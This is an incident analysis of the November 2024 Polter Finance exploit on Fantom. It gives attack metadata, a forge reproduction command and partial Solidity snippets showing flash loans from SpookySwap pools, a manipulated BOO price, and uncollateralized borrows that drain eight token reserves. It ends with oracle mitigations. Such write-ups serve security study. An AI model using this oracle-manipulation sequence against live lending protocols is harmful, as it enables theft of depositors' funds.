Polter_Finance

title	description	type	network	date	loss_usd	returned_usd	tags	subcategory	vulnerable_contracts	tokens_lost	attacker_addresses	malicious_token	attack_block	reproduction_command	attack_txs	sources
Polter Finance	Breaking lending protocols through manipulated oracle price feeds	Exploit	Fantom	2024-11-16	8700000	0	business logic price manipulation		0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5	WFT BOO WSOL WBTC WETH MIM USDC sFTMX axlUSDC	0x511f427Cdf0c4e463655856db382E05D79Ac44a6		97508838	forge test --match-contract Exploit_Polter_Finance -vvv	0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac	title url 0xNickLFranklin tweet https://x.com/0xNickLFranklin/status/1858402633935126969 title url Bcpaintball26 tweet https://x.com/Bcpaintball26/status/1857865758551805976

Step-by-step Overview

The Polter Finance protocol's critical vulnerability stemmed from trusting SpookySwap V2/V3 pool prices for their BOO token oracle. This meant the protocol's lending decisions were based on potentially manipulatable price feeds from DEX pools, which the attacker exploited through flash loans. The vulnerability manifested in ILendingPool.borrow() function where borrowing power was calculated using these manipulated prices.

Here's how the attacker leveraged this vulnerability:

1. Setup (Get Initial Flash Loan)

   • Flash loan BOO tokens from SpookySwap V3 pool
   • Prepare for subsequent operations with obtained liquidity

2. Additional Liquidity (V2 Flash Swap)

   • Perform V2 flash swap to get additional BOO tokens
   • This provides more tokens for the attack setup

3. Collateral Setup

   • Deposit minimal collateral (1e18 BOO) into Polter Finance

4. Exploit Execution

   • Systematically drain multiple token reserves through uncollateralized borrowing
   • Target high-value tokens in sequence
   • Transfer stolen assets to attacker address

5. Flash Loan Repayment

   • Swap 5000 WFTM back to BOO tokens
   • Repay flash loan obligations
   • Keep remaining stolen assets as profit

Detailed Description

1. Gets BOO tokens through SpookySwap V3 flash loan to initiate the attack:

// Initial flash loan from V3 pool
pairWftmBooV3.flash(address(this), 0, BOO.balanceOf(address(pairWftmBooV3)), "");

// Flash callback handling
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
    uint256 repay = BOO.balanceOf(address(this)) + fee1;
    // Further attack steps...
}

2. Leverages V2 flash swap to obtain more BOO tokens:

pairWftmBooV2.swap(0, BOO.balanceOf(address(pairWftmBooV2)) - 1e3, address(this), "0");

// V2 callback implementation
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
    BOO.approve(address(Lending), 1e18);
    // Initialize exploit sequence...
}

3. Sets up minimal collateral and exploits borrowing mechanism:

unction exploitToken(IERC20 token) public {
    // Get reserve data for target token
    ILendingPool.ReserveData memory reserveData = Lending.getReserveData(address(token));
    // Execute uncollateralized borrow
    Lending.borrow(address(token), token.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
    // Transfer stolen tokens
    token.transfer(address(this), token.balanceOf(address(this)));
}

4. Systematically drains multiple token reserves:

// Execute exploit across multiple tokens
exploitToken(WFTM);
exploitToken(MIM);
exploitToken(sFTMX);
exploitToken(axlUSDC);
exploitToken(WBTC);
exploitToken(WETH);
exploitToken(USDC);
exploitToken(WSOL);

5. Repays flash loans and finalizes profit

function swapWftmToBoo(uint256 _amountOut) internal {
    address[] memory path = new address[](2);
    path[0] = address(WFTM);
    path[1] = address(BOO);
    Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
        _amountOut, 0, path, address(this), block.timestamp + 3600
    );
}

Possible mitigations

1. Implement decentralized oracles with multi-source price feeds to prevent price manipulation.
2. Use TWAP oracles to protect against flash loan attacks and price volatility.

Related

• One Ring Finance - Share price manipulation via flash loans
• Onyx Protocol - Empty market manipulation in lending protocol
• Rari Fuse - Low-liquidity oracle manipulation in lending
• Curve Pool Oracle - Oracle price manipulation during liquidity callbacks